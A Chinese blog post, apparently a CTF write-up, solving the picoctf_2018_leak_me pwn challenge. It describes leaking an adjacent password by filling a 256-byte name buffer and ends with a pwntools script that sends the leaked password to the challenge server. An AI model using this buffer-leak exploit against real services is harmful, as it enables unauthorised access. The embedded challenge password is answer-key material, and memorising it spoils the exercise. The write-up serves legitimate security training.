[BUUCTF-pwn]——picoctf_2018_leak_me（内涵peak小知识）

原创于 2021-03-29 12:44:12 发布 · 470 阅读

0 ·

CC 4.0 BY-SA版权

BUUCTF 专栏收录该内容

89 篇文章

订阅专栏

本文介绍了在解决CTF（Capture The Flag）中的pwn题目时，如何处理IDA反汇编错误，特别是针对`picoctf_2018_leak_me`挑战。作者分享了当遇到无法正常反汇编时的解决办法，并提供了利用输入溢出泄露password的思路。通过发送特定字符串，可以触发flag函数调用，从而获取比赛关键信息。

[BUUCTF-pwn]——picoctf_2018_leak_me

题目没什么难度，但是可能反汇编的时候你们可能会出现一些问题。

peak小知识

pwn题，有时会碰到无法反汇编的情况，大多数情况下，都是call的位置报错，双击函数，按F5人为给它反汇编，再返回就可以了。不过有时候，是IDA栈指针的问题，大多数还是前者居多。

思路

在IDA中，v6代表name s是password.距离0x100也就是256。

在这里插入图片描述

输入256个字符后，我们可以直接将password泄露出来。这样我们就可以在下面调用flag函数了。
在这里插入图片描述

写个小dome leek出来password再说。
在这里插入图片描述

exploit

from pwn import *
p = remote("node3.buuoj.cn",27223)
p.sendline('a')
p.recv()
p.sendline('a_reAllY_s3cuRe_p4s$word_f85406')

p.interactive()